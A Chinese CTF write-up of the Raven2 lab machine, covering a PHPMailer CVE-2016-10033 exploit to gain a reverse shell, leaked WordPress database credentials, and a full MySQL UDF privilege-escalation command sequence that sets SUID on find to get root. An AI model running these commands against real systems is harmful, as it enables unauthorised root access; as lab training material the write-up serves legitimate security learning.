22、Raven2

难度 中

目标 root权限 + 4个flag

使用Virtualbox启动

kali 192.168.86.105 靶机 192.168.86.106

信息收集

看到111端口有一个rpc相关的东西,去网上查看了一下是什么服务

通过在网上搜索发现这是一个信息泄露的漏洞,上面的这个端口其实就是泄露的端口和服务,但是这里明显没有看出来有什么重要的服务,那个36623也并没有什么重要的信息。

因为不确定36623端口的服务所以先看看80端口

看着是一个安全团队的公司主页,发现有个注册登录结果是假的

最下面有个邮件发送的输入框,尝试发送也没有反应,抓包看是发向一个域名猜测可以需要做域名解析。

然后点击blog是wordpress的登录页面,但是页面资源都没有加载出来

抓包发现访问 raven.local 域名失败,于是编辑一下/etc/hosts文件修改一下域名解析然后再访问就正常了

点击contact有几个输入功能点,点击后发现mail.php都没有。。。假的功能点

在没有过多信息下先扫一扫目录,用ip和域名都扫一下

看到有泄露DS_Store,使用工具ds_store_exp-master可以将泄露的内容下载

但是下载后没有下载到有用的源码文件,不过倒是发现了这个Security - Doc目录,这个应该是一个安装手册

然后使用域名又扫了一遍扫出了vendor

发现了目录遍历

点了第二个PATH发现了一个flag。。。

然后里面的全都翻了一番,大概是一个email的开源的项目,在github上面有的,其中发现了还有个列出了此项目存在的CVE漏洞。全都是英文人要看晕了。。。

同时这个页面还告诉了我们版本号

突破边界

刚好小于5.2.18,说不定存在CVE-2016-10033,或者直接在漏洞库中搜索一下这个PHPMailer项目有没有什么漏洞

在kali里面看一下

上面这几个都是CVE-2016-10033漏洞的利用,三个试了都没直接成功。然后去网上找了一下使用方法发现需要修改内容

使用的是40874.py这个脚本

这里目标是contact.php,是这个页面触发的漏洞(这个地方指定了漏洞出现的页面是contact.php页面我一开始也不理解,然后我拿到shell之后进去看发现有个contact.zip能下载contact.php。里面有提示,同时可以参考 PHPMailer 命令执行漏洞(CVE-2016-10033)复现 - Fram3 - 博客园 可以看到漏洞出现的地方是有一个发送邮件的输入框和contact符合特征。)

修改之后还是无法正常的上传文件,然后又执行看了一下wp发现应该是编码的问题

在代码前面添加这些东西

#!/usr/bin/python3

-*- coding: utf-8 -*-

然后执行的使用直接./40974.py

这里我换了个后门的名字为666.php

访问一下

成功的反弹了shell,而且是python反弹的比较好的shell

提取

查看一下passwd发现steven和michael连两个用户可以登录,并且都有自己的目录。先去两个家目录看了一下发现没啥东西,先上信息收集脚步收集一下信息

收集到wp_config中的一些数据库的账号密码

库名 wordpress

登录名 root

密码 R@v3nSecurity

以及发现版本可以使用脏牛提权

同是发现了var目录下面的flag2

但是使用脏牛提权失败了,不知道为什么两个exp都使用了执行结果都说成功的创建了新的账号密码实际并没有。。。

那么还有数据库没有查看,我是挺怀疑数据库中存在flag的所以需要去看一看

先查看了一下数据库是否开启,没想到数据库是以root权限启动的,说不定可以用来提权

简单看了一下没有flag,那么开始尝试使用mysql进行提权

使用UDF提权

首先查看版本 MySQL / MariaDB 版本 4.X 和 5.X 。

查看一下路径的写入权限

show variables like "%secure_file_priv%";

没啥问题,这里使用msf中自带的文件

复制一下文件

c文件给出了编译使用的方法

在kali本地生成so文件

然后再次进入mysql进行操作,这里注意一下插件的路径,这里一开始没注意然后后面链接过去发现没写对,可以先使用

show variables like "%plugin%";

查看一下路径

然后就可以利用这个函数进行命令执行了,可以使用SUID留下后门

复制代码
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

mysql -u root -p
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select * from mysql.func;
select do_system('chmod u+s /usr/bin/find');
exit

成功提权

find . -exec '/bin/sh' \;

拿到flag4

好像还差一个flag3,用命令找了一圈没找到不知道藏到那个里面去了不找了。

后记:

第一次在linux使用UDF提权,也算是比较有收获了,完整的完成了整个的提权过程,还好没有遇到什么环境的问题要是在本机编译的so文件放到靶机上用不了就真的寄了。

相关推荐
Johny_Zhao10 小时前
OpenClaw安装部署教程
linux·人工智能·ai·云计算·系统运维·openclaw
用户9623779544815 小时前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机18 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机18 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户9623779544819 小时前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star19 小时前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954481 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
chlk1232 天前
Linux文件权限完全图解:读懂 ls -l 和 chmod 755 背后的秘密
linux·操作系统
舒一笑2 天前
Ubuntu系统安装CodeX出现问题
linux·后端
改一下配置文件2 天前
Ubuntu24.04安装NVIDIA驱动完整指南(含Secure Boot解决方案)
linux